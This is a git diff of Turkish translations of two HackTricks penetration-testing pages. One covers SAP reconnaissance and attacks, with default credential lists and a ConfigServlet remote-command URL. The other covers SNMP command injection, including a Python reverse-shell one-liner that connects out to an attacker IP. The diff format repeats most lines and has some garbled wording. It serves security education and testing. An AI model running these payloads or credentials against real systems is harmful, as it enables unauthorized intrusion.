<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,25 +20,25 @@ HackTricks'ı desteklemenin diğer yolları:
# SAP Hakkında Giriş
SAP, Veri İşleme Sistem Uygulamaları ve Ürünleri anlamına gelir. SAP, tanım gereği, ERP \(Kurumsal Kaynak Planlama\) yazılımının adı olduğu gibi şirketin adıdır.
SAP sistemi, neredeyse letme yönetiminin her yönünü kapsayan bir dizi tam entegre modülden oluşur.
SAP, Veri İşleme Sistem Uygulamaları ve Ürünleri anlamına gelir. SAP, tanım gereği, ERP \(Kurumsal Kaynak Planlaması\) yazılımının yanı sıra şirketin adıdır.
SAP sistemi, iş yönetiminin hemen hemen her yönünü kapsayan bir dizi tamamen entegre modülden oluşur.
Her SAP örneği \(veya SID\), üç katmandan oluşur: veritabanı, uygulama ve sunum\), her bir peyzaj genellikle dört örneği içerir: geliştirme, test, QA ve üretim.
Her katmanın belirli bir ölçüde istismar edilebilir, ancak en etkili sonuç **veritabanına saldırarak** elde edilebilir.
Her SAP örneği \(veya SID\) üç katmandan oluşur: veritabanı, uygulama ve sunum\), her manzara genellikle dört örnekten oluşur: geliştirme, test, QA ve üretim.
Katmanların her biri bir ölçüde istismar edilebilir, ancak en etkili sonuç **veritabanasına saldırarak** elde edilebilir.
Her SAP örneği, müşterilere bölünmüştür. Her biri, uygulamanın "root" karşılığı olan SAP\* kullanıcısına sahiptir.
İlk oluşturulduğunda, bu SAP\* kullanıcısına varsayılan bir şifre verilir: "060719992" \(daha fazla varsayılan şifre aşağıda\).
Şaşırırsınız eğer bu **şifrelerin test veya geliştirme ortamlarında sık sık değiştirilmediğini** bilseydiniz!
Her SAP örneği, istemcilere ayrılmıştır. Her birinin bir kullanıcı SAP\* vardır, bu uygulamanın “root” eşdeğeridir.
İlk oluşturulma sırasında, bu kullanıcı SAP\* varsayılan bir şifre alır: “060719992” \(aşağıda daha fazla varsayılan şifre bulunmaktadır\).
Bu **şifrelerin test veya geliştirme ortamlarında ne sıklıkla değiştirilmediğini** bilseniz şaşırırsınız!
Herhangi bir sunucunun kabuğuna &lt;SID&gt;adm kullanıcı adını kullanarak erişmeye çalışın.
Bruteforcing yardımcı olabilir, ancak Hesap Kilit Mekanizması olabilir.
Kullanıcı adı &lt;SID&gt;adm ile herhangi bir sunucunun shell'ine erişim sağlamaya çalışın.
Bruteforcing yardımcı olabilir, ancak burada bir Hesap Kilitleme mekanizması olabilir.
# Keşif
> Sonraki bölüm çoğunlukla [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) kullanıcısı shipcod3'ten alınmıştır!
> Sonraki bölüm büyük ölçüde [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) kullanıcısı shipcod3'ten alınmıştır!
* Test için Uygulama Kapsamını veya Program Kısa Tanımını kontrol edin. SAP GUI'ye bağlanmak için host adlarını veya sistem örneklerini not alın.
* Uygulama İnternet üzerindeyse veya genel erişime açıksa dosyaları, alt alanları ve değerli bilgileri kontrol etmek için OSINT \(açık kaynak istihbaratı\), Shodan ve Google Dorks'u kullanın:
* Test için Uygulama Kapsamını veya Program Özeti'ni kontrol edin. SAP GUI'ye bağlanmak için ana bilgisayar adlarını veya sistem örneklerini not alın.
* Uygulama internetten erişilebilir veya kamuya açık ise dosyaları, alt alanları ve değerli bilgileri kontrol etmek için OSINT \(açık kaynak istihbaratı\), Shodan ve Google Dorks kullanın:
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
@ -47,19 +48,19 @@ https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* İşte [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) nasıl görünüyor
* İşte [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) görünümü
![SAP Giriş ekranı](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* Açık portları ve bilinen servisleri kontrol etmek için nmap kullanın \(sap yönlendiricileri, webdynpro, web servisleri, web sunucuları, vb.\)
* Eğer bir web sunucusu çalışıyorsa URL'leri tara.
* Belirli portlarda web sunucuları varsa dizinleri fuzzlayın \(Burp Intruder kullanabilirsiniz\). İşte varsayılan SAP ICM Yollarını bulmak ve diğer ilginç dizinleri veya dosyaları bulmak için SecLists Projesi tarafından sağlanan bazı iyi wordlist'ler:
* Açık portları ve bilinen hizmetleri kontrol etmek için nmap kullanın \(sap yönlendiricileri, webdnypro, web hizmetleri, web sunucuları, vb.\)
* Bir web sunucusu çalışıyorsa URL'leri tarayın.
* Belirli portlarda web sunucuları varsa dizinleri fuzzlayın \(Burp Intruder kullanabilirsiniz\). İşte varsayılan SAP ICM Yollarını ve diğer ilginç dizinleri veya dosyaları bulmak için SecLists Projesi tarafından sağlanan bazı iyi kelime listeleri:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* SAP örneklerini/hizmetlerini/bileşenlerini sıralamak için SAP SERVİS KEŞFİ yardımcı Metasploit modülünü kullanın:
* SAP örneklerini/hizmetlerini/bileşenlerini listelemek için SAP SERVICE DISCOVERY yardımcı Metasploit modülünü kullanın:
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
@ -76,12 +77,12 @@ rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
## Kalın İstemci / SAP GUI'nin Test Edilmesi
## Testing the Thick Client / SAP GUI
İşte SAP GUI'ye bağlanmak için komut
`sapgui <sap sunucusu ana bilgisayarı> <sistem numarası>`
SAP GUI'ye bağlanmak için komut:
`sapgui <sap sunucu ana adı> <sistem numarası>`
* Varsayılan kimlik bilgilerini kontrol edin \(Bugcrowd'un Zayıflık Derecelendirme Taksonomisine göre, bu P1 olarak kabul edilir -&gt; Sunucu Güvenlik Yanlı Yapılandırması \| Varsayılan Kimlik Bilgilerinin Kullanımı \| Üretim Sunucusu\):
* Varsayılan kimlik bilgilerini kontrol edin \(Bugcrowdun Güvenlik Açığı Derecelendirme Taksonomisi'nde bu P1 olarak kabul edilir -&gt; Sunucu Güvenliği Yanlış Yapılandırması \| Varsayılan Kimlik Bilgilerini Kullanma \| Üretim Sunucusu\):
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
@ -132,34 +133,34 @@ SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* Wireshark'ı çalıştırın ve bazı istemci \(SAP GUI\) kimlik bilgilerini SSL olmadan ilettiği için aldığınız kimlik bilgileriyle kimlik doğrulaması yapın. SAP DIAG protokolü tarafından kullanılan ana başlıkları ayırabilen iki bilinen Wireshark eklentisi vardır: SecureAuth Labs SAP ayrıştırma eklentisi ve Positive Research Center tarafından geliştirilen SAP DIAG eklentisi.
* Düşük ayrıcalıklı kullanıcılar için bazı SAP İşlem Kodları \(tcodes\) kullanarak ayrıcalık yükseltmelerini kontrol edin:
* SU01 - Kullanıcıları oluşturmak ve bakımını yapmak için
* SU01D - Kullanıcıları Görüntülemek için
* SU10 - Toplu bakım için
* SU02 - Profil oluşturmak için manuel olarak
* SM19 - Güvenlik denetimi - yapılandırma
* SE84 - SAP R/3 Yetkilendirmeleri için Bilgi Sistemi
* İstemcide sistem komutları çalıştırabilir mi / betik çalıştırabilir mi kontrol edin.
* BAPI Explorer üzerinde XSS yapabilir misiniz kontrol edin.
* Wireshark'ı çalıştırın, ardından aldığınız kimlik bilgileriyle istemciye \(SAP GUI\) kimlik doğrulaması yapın çünkü bazı istemciler kimlik bilgilerini SSL olmadan iletebilir. SAP DIAG protokolü tarafından kullanılan ana başlıkları çözümleyebilen iki bilinen Wireshark eklentisi de vardır: SecureAuth Labs SAP çözümleme eklentisi ve Positive Research Center tarafından geliştirilen SAP DIAG eklentisi.
* Düşük ayrıcalıklı kullanıcılar için bazı SAP İşlem Kodlarını \(tcodes\) kullanarak ayrıcalık yükseltmeleri kontrol edin:
* SU01 - Kullanıcıları oluşturmak ve sürdürmek için
* SU01D - Kullanıcıları görüntülemek için
* SU10 - Toplu bakım için
* SU02 - Profillerin manuel olarak oluşturulması için
* SM19 - Güvenlik denetimi - yapılandırma
* SE84 - SAP R/3 Yetkilendirmeleri için Bilgi Sistemi
* İstemcide sistem komutlarını çalıştırıp çalıştıramayacağınızı kontrol edin.
* BAPI Explorer üzerinde XSS yapıp yapamayacağınızı kontrol edin.
# Web arayüzünü test etme
* URL'leri tarama \(keşif aşamasına bakın\).
* Keşif aşamasındaki gibi URL'leri fuzzlayın. İşte [http://SAP:50000/index.html](http://sap:50000/index.html) adresinin görünümü:
* URL'leri tarayın \(keşif aşamasına bakın\).
* URL'leri keşif aşamasındaki gibi fuzzlayın. İşte [http://SAP:50000/index.html](http://sap:50000/index.html) sayfasının görünümü:
![SAP Index Sayfası](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* XSS, RCE, XXE vb. zafiyetlerin bazı yerlerinde bulunduğu için yaygın web zafiyetlerini arayın \(OWASP Top 10'a bakın\).
* Web zafiyetlerini test etmek için Jason Haddixin [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) adlı çalışmasına göz atın.
* Fiil Manipülasyonu aracılığıyla Kimlik Doğrulaması Atlatma? Belki :\)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` adresini açın, ardından "Seç" düğmesine tıklayın ve açılan pencerede "Ara" düğmesine basın. SAP kullanıcılarının bir listesini görebilmelisiniz \(Zafiyet Referansı: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
* Kimlik bilgileri HTTP üzerinden mi gönderiliyor? Eğer öyleyse, bu Bugcrowd'un [Zafiyet Derecelendirme Taksonomisi](https://bugcrowd.com/vulnerability-rating-taxonomy)ne göre P3 olarak kabul edilir: Kırık Kimlik Doğrulama ve Oturum Yönetimi \| HTTP Üzerinden Zayıf Giriş İşlevi. İpucu: [http://SAP:50000/startPage](http://sap:50000/startPage) veya giriş portallarına da bakın :\)
* Yaygın web güvenlik açıklarını kontrol edin \(OWASP Top 10'a bakın\) çünkü bazı yerlerde XSS, RCE, XXE vb. güvenlik açıkları bulunmaktadır.
* Web güvenlik açıklarını test etmek için Jason Haddixin [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) kaynağına göz atın.
* Fiil Manipülasyonu ile Kimlik Doğrulama Atlatma? Belki :\)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` adresini açın, ardından “Seç” butonuna tıklayın ve açılan pencerede “Ara” butonuna basın. SAP kullanıcılarının bir listesini görebilmelisiniz \(Güvenlik Açığı Referansı: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
* Kimlik bilgileri HTTP üzerinden mi gönderiliyor? Eğer öyleyse, Bugcrowdun [Güvenlik Açığı Derecelendirme Taksonomisi](https://bugcrowd.com/vulnerability-rating-taxonomy) temelinde P3 olarak kabul edilir: Kırık Kimlik Doğrulama ve Oturum Yönetimi \| HTTP Üzerinde Zayıf Giriş Fonksiyonu. İpucu: [http://SAP:50000/startPage](http://sap:50000/startPage) veya giriş portallarını da kontrol edin :\)
![SAP Başlangıç Sayfası](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* Olası dizin listeleme veya kimlik doğrulama atlatma için `/irj/go/km/navigation/` adresini deneyin
* [http://SAP/sap/public/info](http://sap/sap/public/info) bazı değerli bilgiler içeriyor:
* Olası dizin listeleme veya kimlik doğrulama atlatma için `/irj/go/km/navigation/` adresini deneyin.
* [http://SAP/sap/public/info](http://sap/sap/public/info) bazı ilginç bilgiler içermektedir:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
@ -192,8 +193,8 @@ BWDEVELOPER:Down1oad:001
```
# Saldırı!
* Eski sunucularda veya Windows 2000 gibi eski teknolojilerde çalışıp çalışmadığını kontrol edin.
* Olası saldırıları / saldırıları planlayın, SAP keşfi için birçok Metasploit modülü \(yardımcı modüller\) ve saldırılar bulunmaktadır:
* Eski sunucularda veya Windows 2000 gibi teknolojilerde çalışıp çalışmadığını kontrol edin.
* Olası istismarları / saldırıları planlayın, SAP keşfi için birçok Metasploit modülü \(yardımcı modüller\) ve istismar bulunmaktadır:
```text
msf > search sap
Matching Modules
@ -258,13 +259,13 @@ exploit/windows/lpd/saplpd 2008-02
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* Bilinen bazııkları kullanmaya çalışın (Exploit-DB'ye göz atın) veya eski ama iyi olan "SAP ConfigServlet Uzak Kod Yürütme" saldırısını SAP Portalı'nda deneyin:
* Bilinen ıkları kullanmaya çalışın \(Exploit-DB'ye göz atın\) veya SAP Portal'daki eski ama iyi “SAP ConfigServlet Uzak Kod Çalıştırma” gibi saldırılar:
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* Keşif aşamasında `start` komutunu çalıştırmadan önce, zayıflık değerlendirmesi yapmak için aşağıdakileri de ekleyebilirsiniz:
* Keşif aşamasında bizploit betiğinde `start` komutunu çalıştırmadan önce, güvenlik açığı değerlendirmesi yapmak için aşağıdakileri de ekleyebilirsiniz:
```text
bizploit> plugins
bizploit/plugins> vulnassess all
@ -286,22 +287,22 @@ bizploit/plugins> start
bizploit/plugins> back
bizploit> start
```
# Test etmek için Diğer Kullanışlı Araçlar
# Diğer Test İçin Kullanışlı Araçlar
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Sap güvenliğini değerlendirmek için Powershell aracı
* [Burp Suite](https://portswigger.net/burp) - dizin fuzzing ve web güvenliği değerlendirmeleri için olmazsa olmaz bir araç
* [PowerSAP](https://github.com/airbus-seclab/powersap) - SAP güvenliğini değerlendirmek için Powershell aracı
* [Burp Suite](https://portswigger.net/burp) - dizin fuzzing ve web güvenliği değerlendirmeleri için olmazsa olmaz
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAP ağ protokol paketlerini oluşturmak için Python kütüphanesi
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Nmap'in SAP/ERP'yi tespit etmesine yardımcı olur
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - nmap'in SAP/ERP'yi tespit etmesine yardımcı olur
## Referanslar
* [Metasploit Kullanarak SAP Penetrasyon Testi](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploit'i yarı otomatik hale getiren bir betik
* [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploit'i yarı otomatik hale getiren bir script
* [SAP NetWeaver ABAP güvenlik yapılandırması bölüm 3: Uygulamaya erişim için varsayılan şifreler](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [SAP güvenliği ile ilgili ABAP işlem kodları listesi](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [SAP Portal'ı Kırmak](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [En ilginç SAP zayıflıkları ve saldırıları ilk 10'u](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [bizploit ile SAP ekosistemlerinin güvenliğini değerlendirme: Keşif](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [En ilginç 10 SAP güvenlik açığı ve saldırı](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Bizploit ile SAP ekosistemlerinin güvenliğini değerlendirme: Keşif](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
@ -311,16 +312,17 @@ bizploit> start
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}

View file

@ -1,55 +1,56 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# SNMP Uzaktan Komut Yürütme (RCE)
# SNMP RCE
SNMP, yöneticinin cihaz veya sunucudaki varsayılan yapılandırmasını göz ardı ederse saldırgan tarafından istismar edilebilir. Bir Linux işletim sisteminde **SNMP topluluğunu (rwcommunity) kötüye kullanarak** saldırgan sunucuda komutları yürütebilir.
SNMP, yönetici cihaz veya sunucudaki varsayılan yapılandırmayı göz ardı ederse bir saldırgan tarafından istismar edilebilir. **Yazma izinlerine sahip SNMP topluluğunu (rwcommunity)** kötüye kullanarak, saldırgan sunucuda komutlar çalıştırabilir.
## Ek Komutlarla Hizmetleri Genişletme
SNMP hizmetlerini genişletmek ve ekstra komutlar eklemek için, "nsExtendObjects" tablosuna yeni **satırlar eklemek mümkündür**. Bunun için `snmpset` komutunu kullanarak gerekli parametreleri sağlamak gerekmektedir. Bu parametreler arasında yürütülecek dosyanın mutlak yolunu ve yürütülecek komutu belirtmek bulunur:
SNMP hizmetlerini genişletmek ve ek komutlar eklemek için, "nsExtendObjects" tablosuna yeni **satırlar eklemek** mümkündür. Bu, `snmpset` komutunu kullanarak ve gerekli parametreleri, yürütülebilir dosyanın mutlak yolu ve çalıştırılacak komut dahil olmak üzere sağlayarak gerçekleştirilebilir:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
## Komut Enjeksiyonu için Komutlar Eklemek
## Komutların Çalıştırılması için Enjekte Edilmesi
SNMP hizmetinde çalıştırılmak üzere komut enjekte etmek, çağrılan ikili/dosyanın varlığını ve çalıştırılabilir olmasını gerektirir. **`NET-SNMP-EXTEND-MIB`** çağrılan ikili/dosyanın mutlak yolunu sağlamayı zorunlu kılar.
SNMP hizmetinde çalıştırılacak komutların enjekte edilmesi, çağrılan ikili/dosyanın varlığını ve çalıştırılabilirliğini gerektirir. **`NET-SNMP-EXTEND-MIB`** çalıştırılabilir dosyanın mutlak yolunu sağlamayı zorunlu kılar.
Enjekte edilen komutun çalıştırıldığını doğrulamak için `snmpwalk` komutu kullanılabilir. **Çıktı, komutu ve ilişkili ayrıntıları** (mutlak yol dahil) içerecektir:
Enjekte edilen komutun çalıştırıldığını doğrulamak için, `snmpwalk` komutu SNMP hizmetini listelemek için kullanılabilir. **Çıktı, komutu ve ona bağlı ayrıntıları, mutlak yol da dahil olmak üzere, gösterecektir:**
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
## Enjekte Edilen Komutları Çalıştırma
## Enjekte Edilen Komutların Çalıştırılması
**Enjekte edilen komut okunduğunda çalıştırılır**. Bu davranış **`run-on-read()`** olarak bilinir. Komutun çalıştırılması, snmpwalk okunurken gözlemlenebilir.
**Enjekte edilen komut okunduğunda, çalıştırılır.** Bu davranış **`run-on-read()`** olarak bilinir. Komutun yürütülmesi, snmpwalk okuması sırasında gözlemlenebilir.
### SNMP ile Sunucu Kabuğu Elde Etme
### SNMP ile Sunucu Shell Elde Etme
Sunucu üzerinde kontrol sağlamak ve bir sunucu kabuğu elde etmek için, mxrch tarafından geliştirilen bir Python betiği kullanılabilir. [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git) adresinden bu betikten yararlanabilirsiniz.
Sunucu üzerinde kontrol sağlamak ve bir sunucu shell elde etmek için, mxrch tarafından geliştirilen bir python script'i [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git) adresinden kullanılabilir.
Alternatif olarak, SNMP'ye belirli bir komut enjekte ederek ters kabuk oluşturulabilir. Bu komut, snmpwalk tarafından tetiklenir ve saldırganın makinesine ters kabuk bağlantısı kurarak kurban makine üzerinde kontrol sağlar.
Bu işlemi çalıştırmak için önceden gereksinimleri yükleyebilirsiniz:
Alternatif olarak, SNMP'ye belirli bir komut enjekte ederek manuel olarak bir ters shell oluşturulabilir. Bu komut, snmpwalk tarafından tetiklenir ve saldırganın makinesine bir ters shell bağlantısı kurarak, kurban makinesi üzerinde kontrol sağlar.
Bunu çalıştırmak için ön koşulu yükleyebilirsiniz:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
Ya da ters kabuk:
Veya bir ters kabuk:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
@ -57,16 +58,17 @@ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendSta
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
